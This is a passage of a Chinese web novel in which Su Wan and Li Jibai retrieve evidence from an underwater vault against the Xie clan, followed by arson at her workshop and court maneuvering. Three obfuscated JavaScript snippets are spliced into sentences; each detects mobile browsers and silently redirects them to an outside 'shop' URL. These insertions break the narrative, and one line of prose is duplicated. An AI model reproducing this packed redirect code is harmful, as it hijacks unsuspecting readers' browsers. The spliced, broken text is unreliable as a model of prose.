赵衾也不逼迫,点了点头:“好,我信你。近日我会加紧对谢家货船的核查,让他们无暇他顾。你也小心。” 说完,他不再多言,转身融入夜色之中。 —— 李既白站在窗前,望着淮州城的万家灯火,脑海中却不断回放着望江楼中,苏晚面对谢昆指控时,那清冷而孤绝的身影。她甚至没有看他一眼。 “侯爷,”墨痕的声音在身后响起,“查到了。今日望江楼宴席,是谢家一名管事提前派人到驿馆透露了苏姑娘会出席,并可能被刁难的消息。” 李既白眼中寒光乍现:“谢家?他们想借本官的手,去对付苏晚和赵衾?” “是。谢家自知直接动手风险太大,便想将您当枪使。若您当时在宴席上顺势严惩苏姑娘,正合他们心意。” “好一招驱虎吞狼。”李既白冷笑。谢家打得一手好算盘,可惜,他们算错了他对苏晚的态度。 “还有一事,”墨痕继续禀报,“还有关于谢家旁支子弟的罪证,已收集到一些,是否……” “先按兵不动。”李既白打断他,“此刻动谢家,只会打草惊蛇,将所有人的注意力都吸引过来。” 他需要更关键的证据,不仅能解苏晚眼前之困,更能直指当年父母与姨母冤案的真相!那个传闻中水下密室里的东西,或许就是关键。 “今晚,我们就动手吧。” 墨痕按照李既白的吩咐,在漕帮总舵另一侧的货仓区制造了一场“走水”骚乱,大部分守卫都被吸引了过去。 李既白也如同暗夜中的影子,悄无声息地翻墙而入,精准地找到了祠堂后方的石滩。他眼力极好,很快发现了那块与众不同的石头和上面的凹槽。 他没有钥匙,但凭借对机关术的了解,他取出随身携带的一根特制银针,探入凹槽内部。片刻后,石板缓缓滑开,露出幽深的洞口。李既白毫不犹豫,闪身而入。 几乎是前后脚,另一道黑影,也轻盈地越过高墙,落在了石滩上。 苏晚依旧是那夜的装扮,蒙着黑巾。她警惕地观察四周,确认安全后,迅速来到洞口前。她发现石板竟是开着的,心中猛地一沉。 有人先她一步进去了! 会是谁,赵衾?不可能,他刚送自己回去。赵铭?可他若有此智谋和胆量,早就进去了。难道是谢家的人? 来不及细想,苏晚立刻跟着潜入洞口。她必须赶在对方之前拿到柜子里的东西。 地下空间内,河水幽暗。 李既白只能靠着双脚摸索,他很快来到了神像前的石台。看到那尊巨大的河神像和其底座靠近水面的洞口,他立刻明白,真正的密室在水下。 他没有犹豫,深吸一口气,沿着湿滑的石阶步入刺骨的地下河水中。寒意包裹了他,让他打了个寒颤。他水性本就普通,此刻更是觉得呼吸有些困难。他强忍着不适,扶着洞壁,一步步湖水的中央。 水中泛着冷硬的光泽,他看到了那个柜子,还有一把铜锁。他尝试用力拉扯,柜门纹丝不动。他凑近仔细观察锁孔,试图找到打开的方法,然而水中视线模糊,加之憋气时间渐长,他开始感到头晕目眩,胸口发闷。 就在这时,他隐约听到前方传来敲击的声响。他屏住呼吸,看到一道模糊的黑影。 他心中警铃大作,下意识想要拿剑攻击,然而缺氧带来的无力感让他动作迟缓。他想要往后退,一口气没憋住,冰冷的河水猛地灌入口鼻,剧烈的窒息感攫住了他。他本能地挣扎起来,手脚却越发无力,意识开始模糊。 苏晚也没想到下来的那人是李既白,她比男人先一步到水下,想要打开铜锁取出里面的东西。 可李既白,情况貌似不对,像是溺水了。 她本不想管他的,可转念一想,如果没了李既白,江南这边将彻底没有回转,她终究心软了。她一手拿着夜明珠,照明方向往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797367|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李既白的方向游去。 李既白意识涣散间,透过微弱的光看到了那双熟悉清亮的眼眸。 昭昭?不可能,这大概是老天给的最后一场梦吧。 他彻底闭上了双眸,等待着那最终的审判。 苏晚奋力到了李既白身边,现在二人离水面有些距离,若再不采取些措施,李既白真的就要命丧于此了。 想到这,苏晚一手揽住他下沉的身体,另一只手托住他的下颌,防止他再呛水。 李既白只感到一个柔软的身体贴近,紧接着,一双微凉而柔软的唇瓣覆上了他因缺氧而冰冷的唇。 一口气度了过来。 带着极淡的清甜气息,如同甘泉,瞬间涌入他几乎停滞的肺腑。 他本能地汲取着这救命的空气,混沌的意识被这突如其来的亲密接触震得清醒了几分。他睁开眼,近在咫尺的是她微微蹙起的眉和那双写满焦急与复杂的眼眸。 水波荡漾,发丝纠缠,这一刻,时间仿佛静止。 苏晚见他缓过气,想要退开。然而,李既白的手臂却猛地收紧,将她牢牢箍在怀中,加深了这个意外又迫不得已的“吻”。不是掠夺,而是带着一种失而复得的恐惧和后怕,仿佛要将她揉进骨血里。 苏晚浑身一僵,用力挣扎。水下动作不便,她的推拒更像是无力的扑腾。李既白感受到她的抗拒,理智逐渐回笼,手臂的力道微微松开,却依旧没有放开她。 苏晚屈起腿,趁机顶了他的腹部,随后立刻转身,只单手拉着李既白的手,几乎是拖着将他往水面上游。 两人浮出水面,靠在冰冷的石壁上,剧烈地喘息着。水珠顺着他们的脸颊不断滑落。 “你……”苏晚脸色愠怒,“李大人,你怎么会在这里?”她压低了声音,语气里带着惊魂未定。 李既白看着她因沾水而更显清澈的容颜,心跳依旧失序,不知是因方才的窒息,还是因为那个吻。他抹去脸上的水渍,声音因呛水而沙哑:“这话……该我问你。你知不知道这里有多危险?” “危险?”苏晚气结,若不是她这次过来,现在危险的就是他。“若不是我恰好进来,李大人此刻已成水下亡魂了!” “所以你救了我。”李既白凝视着她,目光深邃,“又一次。” 苏晚避开他的目光:“你到底来做什么?” “找线索。”李既白没有隐瞒,“能扳倒谢家,能查明我父母和姨母冤案的证据。”他顿了顿,补充道,“也能帮你摆脱眼下困局的证据。” 苏晚撇开脑袋。他果然也是为了这个而来。而且,他竟一直记着,并一直在暗中调查。 “钥匙呢?”李既白问,“你既然来过,定然知道如何打开它。”他指的是那个铁皮柜。 苏晚抿了抿唇,东西她是取出来了,就在她怀中的暗袋里。 见她沉默,李既白心中了然。他没有逼迫,只道:“昭昭,我知道你恨我。但眼下,我们的目标是一致的。我们有共同的敌人,跟我合作这比你与赵衾合作,要稳妥得多。” “稳妥?”苏晚甩开他试图拉住她的手,“李大人所谓的稳妥,就是将我当作棋子,最后弃如敝履吗?还有,我的敌人是三皇子,你跟他可是表兄弟,我恨不得你跟他一起去死。” 38. 第三十八章 她的话语像淬了毒的冰锥,狠狠刺入李既白的心脏。他脸色苍白,眼中充满了痛苦和无力:“昭昭,这些都并非你所想那样!” “够了!”苏晚厉声打断他,声音在空旷的地下空间里回荡,“我不想听!李既白,我们早已恩断义绝!证据在我手中,我自有打算。你若还想活着出去,就立刻离开这里!否则,我不介意让你真的永远留在这水底!” 她眼中那彻骨的寒意和决绝,让李既白所有话都堵在了喉咙里。 就在这时,上方隐约传来了嘈杂的人声和脚步声。似乎是骚乱平息,守卫们返回了 两人脸色同时一变。 “快走!”苏晚低喝一声,不再看他,迅速潜入水中,向着来时的方向游去。 李既白看着她的身影消失在幽暗的水道中,攥紧了拳头,心中是浓浓的担忧。他不敢再耽搁,也立刻潜入水中,跟了上去。 两人一前一后,悄无声息地离开了水下密室,回到了祠堂后的石滩。苏晚动作麻利地关闭机关,将石板恢复原状,甚至来不及拧干衣服上的水,便如同来时一般,敏捷地翻墙而出,消失在夜色里。 李既白紧随其后,他站在墙外的阴影中,看着她远去的方向,久久未动。唇上似乎还残留着她渡气时那柔软微凉的触感,以及那带着清甜的气息。 苏晚回到锦心坊后院时,天边已泛起鱼肚白。 竹儿早已急得如同热锅上的蚂蚁,见她这般模样回来,连忙将她拉进屋内,屏退左右,手忙脚乱地帮她更换干爽的衣物。 苏晚走到梳妆台前,从暗格中取出之前的铁盒,将那手札拿了出来。 她摸向怀中的暗袋,里面是一本湿透了的账册,几封泛黄的信件,和一枚刻着莲纹的令牌。 苏晚首先拿起那本账册,就着晨曦的微光,快速翻阅起来。越看,她的脸色越是凝重,呼吸也不由自主地急促起来。 这并非普通的贪墨账册!里面清晰地记录了十多年前,以皇后母家谢氏为首,勾结江南漕帮和盐政官员,利用漕运之便,大肆侵吞朝廷用于治理淮水,修筑堤坝的巨额官银。每一笔款项的来龙去脉,接收之人,经手之人,都记录得清清楚楚。 其中更夹杂着几笔标注为“凤仪宫修缮”的巨额支出,时间恰好在慧贵妃“病逝”前后。 她的手微微颤抖,拿起那几封信件。信件是赵筑与一位署名“谢公”的人的密信往来。“谢公”在信中多次催促赵筑处理掉“知情太多”的靖安侯夫妇,并暗示这是“宫中”的意思。 全都对上了! 加上那本老靖安侯夫妇的手札,这些直接印证了沈牧的猜测,也坐实了谢家与太子一党,不仅贪墨国帑,而且构陷忠良! 最后,她的目光落在那枚令牌上。令牌入手沉重,正面是莲花纹样,背面却刻着一个的“姝”字。 而“谢姝宁”,正是当今皇后的名讳。 这些证据,足以在朝堂掀起滔天巨浪。 苏晚将东西小心翼翼地收好,藏回暗格。她坐在窗前,心潮澎湃。有了这些,她不仅能为黎家洗刷冤屈,为阿姊报仇,更能彻底扳倒谢家这个庞然大物,甚至动摇国本! 但她也深知,这些东西一旦现世,必将引来对方最疯狂的反扑。她必须找一个最稳妥的时机,将它们公之于众。 眼下,谢家的打压仍在继续。 “竹儿,”她轻声吩咐,“去涵碧轩递个话,就说我身体不适,定亲宴后续事宜,容后再议。另外,让福安想办法,将我们手里关于谢家旁支强占民田和逼死人命的那些证据,悄悄散播出去。” * “侯爷,漕帮赵铭那边,似乎对昨夜货仓失火之事起了疑心,正在暗中调查。我们是否要……” “不必理会。”李既白摆手,“让他去查。赵衾那边有什么动静?” “赵二爷并未有其他动作。倒是谢家三爷谢昆,今日称病未出府,谢家名下的货船也暂时停止了出港。” 李既白冷哼一声:“看来谢家是打算暂时蛰伏,以退为进了。” 他走到窗边,望着渐渐亮起的天色,“告诉我们在京城的人,可以开始动作了,将江南漕运‘弊案丛生’,‘涉及皇子’的风声放出去吧。” 他要将所有人的目光都吸引到江南,吸引到漕运案上。只有这样,当那最终的证据现世时,才能产生最大的威力,让任何人都无法遮掩。 数日后,京城。 关于江南漕运弊案的流言,如同长了翅膀般飞速传播开来。起初只是零星议论漕帮损耗异常,渐渐地,话题开始转向更深处。提及某些漕帮高层与江南官场勾结,甚至隐约牵涉到几位皇子的名号。 “听说了吗?江南那边查漕运,好像捅了马蜂窝了!” “可不是,据说牵扯巨大,连京城里都有贵人坐不住了。” “嘘!慎言!没看见这几日御史台的大人们都行色匆匆吗?” 流言愈演愈烈,终于惊动了深居宫禁的皇帝。御书房内,皇帝看着几份语焉不详的密奏,脸色阴沉。他原本派李既白南下,意在整饬漕运积弊,畅通粮道,却不想竟牵扯出如此复杂的局面。 “陛下,”内侍太监小心翼翼地上前,“三殿下和几位阁老已在殿外候着了。” 皇帝揉了揉眉心:“宣。” 上官威与几位重臣鱼贯而入。不待皇帝发问,上官威便率先开口,语气带着恰到好处的忧愤:“父皇!儿臣近日听闻江南流言四起,竟有宵小之辈妄图将漕运之事与儿臣及几位皇兄攀扯在一起,实乃居心叵测!儿臣恳请父皇下旨,严查造谣生事之人!” 他这番表态,看似坦荡,实则是想抢先一步撇清关系,并将水搅浑。 吏部尚书柳承翰沉吟道:“陛下,流言虽不可尽信,但空穴来风,未必无因。靖安侯在江南已有月余,想必已掌握些许实情。是否应下旨催问,令其尽快查明真相,以安民心?” 另一位与谢家关系密切的官员则道:“李侯爷年轻气盛,办案或可激进。江南局势复杂,牵一发而动全身。臣恐其手段过激,反激起民变,或是被有心人利用,不如另派老成持重之臣前往协助……” 皇帝听着臣子们各怀心思的言论,目光深邃。他岂会不知这其中的暗流汹涌?沉默片刻,他缓缓开口,声音带着不容置疑的威严:“既白是朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801853|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲点的钦差,朕信得过他的能力与忠心。传朕旨意,命靖安侯李既白全力彻查漕运一案,无论涉及何人,一查到底,随时奏报!朕倒要看看,这江南的水,到底有多深!” 这道旨意,如同在滚沸的油锅中滴入冷水,瞬间在朝堂内外炸开。它既是对李既白的支持,也是对暗中势力的警告,更将所有人的目光牢牢钉在了江南。 —— 赵衾看着京城快马加鞭送来的消息,嘴角勾起一抹意味深长的笑。他将纸条在烛火上点燃,看着它化为灰烬。 “风向变了。”他对着坐在对面,神色平静的苏晚说道,“皇帝下了明旨,支持李既白一查到底。谢家现在,怕是如坐针毡了。” 苏晚轻轻拨弄着茶盏:“圣旨虽下,但谢家树大根深,绝不会坐以待毙。况且还有皇后呢,他们此刻的蛰伏,恐怕是在酝酿更大的风暴。” “风暴?”赵衾嗤笑,“他们现在自身难保。你散出去的那些谢家旁支的罪证,虽不算致命,但也够他们喝一壶了。听说谢昆这几日四处灭火,焦头烂额。再加上京城的风声……谢家现在首要任务是自保,短时间内,应该没精力再来找我们的麻烦了。” 他看向苏晚,目光带着探究:“晚晚,如今形势对我们有利。皇帝的旨意等于给了李既白尚方宝剑,我们手中的证据……是不是可以派上用场了?” 苏晚抬眸,眼神清冷:“还不到时候。” “为何?”赵衾皱眉,“此时不趁热打铁,更待何时?” “证据一旦抛出,就必须确保能一击致命。”苏晚声音沉稳,“谢家与皇后经营多年,党羽遍布朝野。仅凭我们手中的东西,或许能重创谢家,但未必能动摇根本,反而会打草惊蛇,让他们有机会断尾求生,甚至反咬一口。我们必须等,等他们在焦头烂额中,自己露出更大的破绽。” 赵衾盯着她,忽然笑了:“晚晚,有时候我真怀疑,你真的只是一个普通的商贾之女吗?这份沉稳和谋略,可不像寻常女子能有。” 苏晚默了两秒,面上却不动声色:“不过是求生本能罢了。在淮州这龙潭虎穴,若不多思多想,只怕早已尸骨无存。” 赵衾不置可否地笑了笑,不再追问,转而道:“既然你认为时机未到,那便再等等。不过,我们也不能干等着。谢家暂时退缩,正是我们巩固势力,打通北境粮道的好机会。我已经安排下去,凡是与我们合作的商队,漕帮一律给予便利,优先放行。” “有劳二爷。”苏晚微微颔首。这确实是当前最务实的选择。 然而,无论是苏晚还是赵衾,都低估了谢家狗急跳墙的决心。 当夜,月黑风高。 锦心坊后院突然燃起熊熊大火,火势起得极其迅猛,吞噬了库房和相连的两间绣房,浓烟滚滚,火光映红了半边天。 “走水了!走水了!快救火啊!” 坊内乱作一团,伙计和绣娘们惊慌失措地奔走呼号,提水救火。 苏晚被惊醒,披衣冲出房间,看着那冲天的火光,脸色冰冷。 这绝不是意外! 竹儿和福安带着人拼命救火,然而火势太大,一时难以控制。 39. 第三十九章 就在这时,一阵急促的马蹄声由远及近,踏碎了夜的静谧。 “封锁现场!协助救火!仔细搜查,看有无可疑之人!”李既白翻身下马,玄色衣袍随动作扬起,声音冷厉如霜。侍卫们立刻分散开来,有的加入救火队伍,有的手持火把开始在现场勘查。 “封锁现场!协助救火!仔细搜查,看有无可疑之人!”李既白翻身下马,声音冷厉地下令。侍卫们立刻分散开来,有的帮忙救火,有的开始在现场勘查。 李既白大步走到苏晚面前,看着她被火光映照得有些苍白的脸,“你怎么样?” 苏晚避开他的目光,语气疏离:“多谢李大人关心,民女无恙。” 李既白看着她这副拒人于千里之外的模样,心头刺痛。 混乱中,没人注意到几个黑影悄无声息地潜入了苏晚居住的主屋。 而此时,另一阵更显急促杂沓的马蹄声响起,赵衾一身月白锦袍,几乎是飞身下马,衣摆扫过地面未熄的火星,带起几点焦痕。他看也未看李既白,目光第一时间牢牢锁住苏晚,脸上写满了焦灼与心疼。 他快步上前,极其自然地侧身,巧妙地将李既白隔开,形成了一个保护的姿态。 他对着李既白随意拱了拱手,“李侯爷日理万机,竟也有空亲自过问这坊间失火之事?不劳侯爷费心,晚晚是我的未婚妻,自有我来照顾。” “未婚妻”三个字,他咬得格外清晰,如同三根毒刺,狠狠扎进李既白的心口。 李既白眼神一沉,周身气压骤降:“赵公子,此刻是查案要紧。” “查案自然有官府之人,何须劳烦侯爷亲自动手?”赵衾毫不退让地顶回去,随即转头看向苏晚,语气瞬间切换成无尽的温柔与担忧,他伸出手,想去碰触她的肩膀,“晚晚,别怕,有我在。” 这一次,苏晚没有避开 她任由赵衾的手落在她的肩头,甚至微微偏过头,似乎带着依赖意味的动作,像一把烧红的匕首,瞬间刺穿了李既白所有的防线。 他站在那里,看着他们并肩而立的身影,只觉得浑身血液都凉了。 “赵衾,”苏晚的声音带着一丝劫后余生的疲惫,轻轻响起,“我没事。” 她是对赵衾说的。自始至终,她没有再看李既白一眼。 就在这时,侍卫来报发现了火油和陌生脚印。李既白强压下翻涌的气血,下令严查。他的目光不由自主地再次投向苏晚,她却正仰头看着赵衾,赵衾则顺势替她拢了拢披风的领口,动作亲昵自然。 仿佛他是个多余的,不该在场。 “晚晚,此刻安危为重,别逞强。”赵衾的声音温柔得能滴出水来。 这一幕,彻底击碎了李既白心中最后的侥幸。 然而,主屋方向的异响打破了这令人窒息的氛围。竹儿的惊呼传来:“娘子!有人进了您的房间!” 三人脸色一变。苏晚心头一紧,她最担心的,那暗格中的证据! 她刚迈出一步,赵衾却更快地拦住了她,语气不容置疑:“危险!我去!”说着,他便要带人过去。 “不必!”李既白冰冷的声音同时响起,带着不容置疑的权威,“墨痕,带人进去搜查!保护现场!” 最终,三人几乎是一同冲进了主屋。看到被翻得一片狼藉的房间,苏晚的心沉到谷底。她快步走到梳妆台前,指尖悄然拂过机括。知道了暗格无恙,她紧绷的神经才稍稍松弛。 “丢了什么?”李既白的声音在她身后响起,带着他自己都未察觉的沙哑。 苏晚垂下眼睫:“没什么要紧的。” 她依旧选择隐瞒。 赵衾立刻接口,语气带着维护:“晚晚能有什么贵重东西?不过是些女儿家的物事。李侯爷莫非怀疑晚晚藏了什么违禁之物不成?”他站在苏晚身侧,姿态俨然已是她的守护者。 李既白看着苏晚沉默的侧脸,再看看赵衾那副以未婚夫自居的模样,一股前所未有的无力感和疼痛席卷了他。她宁愿依靠这个心怀叵测的赵衾,也不愿对他透露半分真情。 他闭了闭眼,对墨痕下令:“加派人手。” 这一次,他没有再看苏晚,仿佛她真的只是一个需要保护的普通民众。 说完,他大步离开了这个让他呼吸都感到困难的地方。 或许,昭昭是真的……不再需要他了。 这个认知,比任何刀剑都更伤人。 * 李既白看着墨痕呈上来的调查报告,眉头紧锁。 “纵火者和闯入者行事老辣,现场几乎没有留下任何指向性线索。王知府那边查了半天,也只抓到几个无关紧要的地痞流氓顶罪。”墨痕低声道,“对方很小心,没留下把柄。” 李既白并不意外。谢家做事,自不会留下明显的痕迹。 “侯爷,还有一事。”墨痕继续道,“我们安排在谢府外的眼线回报,昨夜子时前后,曾有一辆马车从谢府后门离开,去了城西的一处偏僻宅院,约莫半个时辰后才返回。” “查那处宅院。” “已经查过,那宅院表面属于一个外地行商,但背景干净得可疑。属下怀疑,那里是谢家蓄养死士或者处理隐秘事务的地方。” 死士…!看来他们是真的急了,不惜一切代价也要拿到苏晚手中的东西。 这让他心中的担忧更甚。昭昭现在处境极其危险,她手中的证据既是护身符,也是催命符。 锦心坊内,一片焦土残垣。 * 苏晚站在废墟前,默默看着伙计和绣娘们清理现场。周坊主在一旁唉声叹气,心疼不已。 她摸了摸袖中暗藏的昨夜紧急誊抄的部分账目副本,眼神重新变得坚定。 不能再等了。必须尽快将这些证据送出去,送到一个足够安全,足以扳倒谢家的人手中。 她抬头望向北方。 二哥……你现在可还安好? 也许,是时候联系他了。 “竹儿,”她轻声吩咐,“让福安去准备一下,我要去城外的慈恩寺上香,为坊里祈福。” 慈恩寺,那里有胡天彪留下的另一个秘密联络点。她必须动用北境最后的力量,将这些证据,连同那枚莲花令牌,安全地送到二哥黎昭雪手中。 慈恩寺香火鼎盛,往来香客络绎不绝。苏晚一身素衣,戴着帷帽,在竹儿的搀扶下,随着人流步入大殿,虔诚上香祈福。 然而,在捐完香油钱,借口更衣之际,她悄然绕到了寺院后山一处僻静的禅院。这里正是胡天彪留下的秘密联络点。 禅院内的老僧见到她,并未多言,只默默引她进入内室。福安早已在此等候。 “娘子,一切都安排妥当了。”福安低声道,“北境来的兄弟就在外面接应。” 苏晚从怀中取出一个用油布严密包裹的小包,里面是她誊抄的关键账目副本和几封密信的摹本,以及那枚至关重要的莲花令牌。原件太过重要,她必须留在身边以防万一,但这些誊本足以让二哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807930|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白真相,并提前做好准备。 “务必亲手交到二公子手中。”苏晚将油布包递给福安,“告诉他,江南局势复杂,谢家与皇后一党恐狗急跳墙,让他万事小心,见机行事。” “娘子放心!”福安将油布包贴身藏好,重重点头,“小的就是拼了这条命,也一定把东西送到!” 安排妥当,苏晚心中稍安。她从禅院出来,重新戴上帷帽,准备与竹儿会合离开。然而,就在她穿过一片竹林时,一个身影拦在了她的面前。 是曾钦宁 她依旧是一身素净衣裙,脸上带着温和的浅笑。 “苏管事,好巧。”曾钦宁微微颔首。 苏晚面上不露分毫:“曾小姐也来上香?” “是啊,为侯爷祈福,也为……一位故人。”曾钦宁目光扫过苏晚来的方向,意有所指,“苏管事方才去的那处禅院,倒是清静。” 苏晚帷帽下的脸色微沉。曾钦宁竟然在跟踪她? “偶尔寻个僻静处静静心罢了。”苏晚语气平淡,试图绕过她离开。 曾钦宁却侧身一步,再次拦住她:“苏管事,我知道你信不过我,也信不过侯爷。但有些话,我不得不告诉你。” 她环顾四周,确认无人,才快速说道:“谢家昨夜动用的是死士。一次不成,必有第二次第三次!他们现在已经疯了,为了掩盖真相,什么事都做得出来!侯爷虽然加派了人手保护你,但明枪易躲,暗箭难防。你手中的东西,现在就是烫手的山芋,拿在手里越久,你就越危险!” 苏晚面上冷笑:“曾小姐这是代表李大人来劝我交出证据?” “不。”曾钦宁摇头,“我是来劝你,尽快与你二哥黎昭雪将军取得联系。通过军方,才能将这些证据安全送抵京城,呈达天听。侯爷在朝中虽有势力,但毕竟身处江南,远水难救近火,且目标太大,容易被人半路截杀!唯有北境军报系统,独立于文官体系之外,才是最稳妥的路径。” 苏晚猛地抬头,隔着帷帽死死盯住曾钦宁。她怎会知道自己的打算,连她刚刚派人去联系二哥都知道? “你……” “苏管事不必惊讶。我并非有意探查你的行踪。只是侯爷与我,都深知谢家手段,也明白你如今的处境。这是目前能想到的,最能保证你和证据安全的办法。” 她声音更轻,“侯爷他,从未想过要抢夺你的功劳,更从未想过要伤害你。他只想你平安。” 苏晚心绪翻涌,一直重复着那个念头:李既白和曾钦宁,不可能会真心帮自己。 “我的事,不劳曾小姐和李大人费心。”苏晚冷硬地回绝,再次迈步离开。这一次,曾钦宁没有再阻拦,只是看着她离去的背影,轻轻叹了口气。 * 驿馆书房,烛火摇曳,却驱不散李既白周身弥漫的寒意。 墨痕将文书呈上,内容与先前无异:线索指向几个无关紧要的替罪羊,谢家摘得干干净净。 “侯爷,”墨痕低声禀报,“王知府那边,已经按‘江洋大盗’结案了。” 李既白面无表情地听着,指尖无意识地摩挲着一块冰冷的玉佩。那是他与黎昭月相识的第一天,黎昭月送给他的。他原本想着,待江南事了,或许,或许还能有机会…… 可锦心坊废墟前,她依偎在赵衾身旁的画面却反复凌迟着他的心。她允许赵衾触碰,接受他的维护,甚至流露出依赖。而对自己,只有彻骨的疏离。 她真的……爱上赵衾了? 40. 第四十章 不可能! 赵衾此人,心机深沉,手段狠辣,绝非良配。她选择他,最大可能还是利用他。 不过,也可能是在经历了那些他不知晓的苦难后,赵衾的庇护,成了她唯一能抓住的浮木? 一想到她可能在他不知道的时候,受了那么多苦,李既白就感到一阵窒息般的痛。 他只想护着她,可如今看来,是他亲手将她推得更远,也推到了更危险的境地。 “侯爷,”墨痕的声音带着犹豫,“还有一事……我们的人发现,赵二爷的人也暗中跟着苏管事去了慈恩寺。” 李既白猛地抬眼,赵衾竟敢监视她? 李既白捏紧拳头,他既恨赵衾的算计,更恨自己的无能。 如果他当初能更谨慎一些,如果他能在她拒婚后察觉她的异常,如果他能早点查明父母冤案的真相……是不是就不会是今天这个局面? “务必保证她的安全,”李既白的声音沙哑得厉害,“但……不要让她察觉。” 他不能再贸然出现在她面前,惹她厌烦,他只能像影子一样,在暗处守护。这是他如今唯一能为她做的了。 “是。”墨痕领命,迟疑片刻,又道:“侯爷,谢家动用死士,说明他们已到狗急跳墙的地步。苏姑娘手中的东西,恐怕……” “我知道。”李既白打断他,眼中是前所未有的决绝,“所以,我们必须比他们更快!查谢家与北狄的线索,进展如何?” “已有眉目,正在核实。” “加快速度!”李既白命令道,他必须尽快拿到能彻底扳倒谢家的铁证,结束这一切。 只有这样,或许……才能还她一个真正的安宁。尽管他知道,那份安宁里,很可能已经没有他的位置了。但无妨,只要她能快乐地生活,他便没有遗憾。 * 涵碧轩内,赵衾屏退左右,独自坐在水榭中,把玩着那枚温润的玉蝉。 回想起方才苏晚没有避开他的触碰,甚至流露出那一丝脆弱,他嘴角不由勾起一抹志在必得的弧度。 看来,这把火虽然没烧出他想要的东西,却意外地烧软了她的心防。很好,只要她开始依赖他,那么离她主动交出那些证据,就不远了。 “王莽。”他轻声唤道。 “二爷。”王莽如同影子般出现。 “我们的人,跟到慈恩寺了吗?她见了什么人?”赵衾问道,语气看似随意,眼神却带着精光。 王莽低头:“跟到了。苏管事确实去了一处僻静禅院,见了她的心腹福安,似乎交给了什么东西。我们的人不敢靠太近,怕被发现。之后……曾钦宁小姐似乎也遇到了苏管事,两人说了几句话,苏管事便离开了。” “曾钦宁?”赵衾挑眉,“李既白的人,她去找苏晚做什么?” “属下不知,距离太远,听不清谈话内容。” 赵衾冷笑一声:“无妨。不管李既白打什么主意,如今苏晚已当众承认与我的关系,他再想插手,也得掂量掂量。让我们的人继续盯紧她的一举一动,尤其是她与外界联络的渠道。那些证据,她绝不会一直藏在身边。” “是。”王莽应下,又道:“不过,李大人那边似乎加派了人手暗中保护苏管事。” 赵衾嗤笑一声:“看来咱们这位钦差大人,还是贼心不死啊。可惜,落花有意,流水无情。”他想起苏晚今日在他身边那片刻的柔情,心中升起一种扭曲的满足感。 李既白,你终究是输了。 * 锦心坊内,苏晚看着福安顺利离开,心中稍定。 她抚摸着袖中那份真正的密信原件,眼神冰冷。谢家操之过急,她不能再坐以待毙了。 而赵衾……苏晚想到他今日在火场的出现和那番维护,嘴角勾起一抹冷笑。他演技不错,几乎让她有一瞬间的恍惚。但他眼中的算计,以及他派人跟踪她到慈恩寺的举动,都提醒着她,这头猛虎的獠牙从未收起。 李既白不可信,赵衾亦不可信,她能依靠的,只有自己。 淮州最负盛名的“得月楼”的三楼雅间,酒香馥郁。主位上坐着位年近三十的男子,他身形清瘦挺拔,墨发以玉簪松松束起,几缕碎发垂落额前,衬得眉目疏朗。周身也萦绕着疏离清冷的气韵,宛若雪山孤月。 而他正是现任盐铁转运使,也是谢家女婿——方铭岂。 他心情颇佳,与几位心腹推杯换盏,谈论的正是近日朝廷催逼甚紧的漕运核查。 “李既白那黄口小儿,仗着钦差身份,咄咄逼人。”一名下属愤愤道,“大人,咱们难道就任由他查下去?” 方铭岂饮尽杯中酒,哂笑一声:“查?让他查!账目做得干净,那些陈年旧事更是死无对证。他能奈我何?至于近来那些捕风捉影的流言,”他眼中闪过一抹阴冷,“不过是有些人想浑水摸鱼罢了。” 众人连声应和。而方铭岂已有些醺然,他挥手示意歌姬退下,雅间内一时安静不少。就在这时,门外传来一阵轻微的骚动和女子带着歉意的柔媚嗓音。 “对不住,对不住,小女子一时不慎,冲撞了贵客。” 门被轻轻推开一条缝,一个窈窕的身影慌乱地出现在门口。她似乎喝了些酒,双颊微红,眼眸含水,身上传来与这酒楼脂粉气截然不同的清雅香气。 最引人注目的是她的容貌和打扮:一身水蓝色罗裙,发髻上簪着支玉兰簪,眉眼间是清冷又隐含哀愁。 方铭岂醉眼朦胧地望去,手中的酒杯“哐当”一声掉在桌上,酒液洒了一身。他猛地站起身,呼吸变得粗重,眼中充满了难以置信的痴迷与追忆。 “婉娘……?”他失神地喃喃。 门口的女子似乎被他吓到,后退半步,怯生生地抬眼看来。 那眼神,那姿态,与他记忆中那个早逝的表妹婉娘,竟有七八分相似!尤其是那支玉兰簪,那是他当年送给她的定情信物! “大人恕罪,小女子苏晚,是楼下锦心坊的管事,与友人来此小聚,不慎走错了房间,惊扰了各位,实在抱歉。”苏晚微微屈膝,声音明明是惶恐的,可在方铭岂眼里,却是十足的引诱。 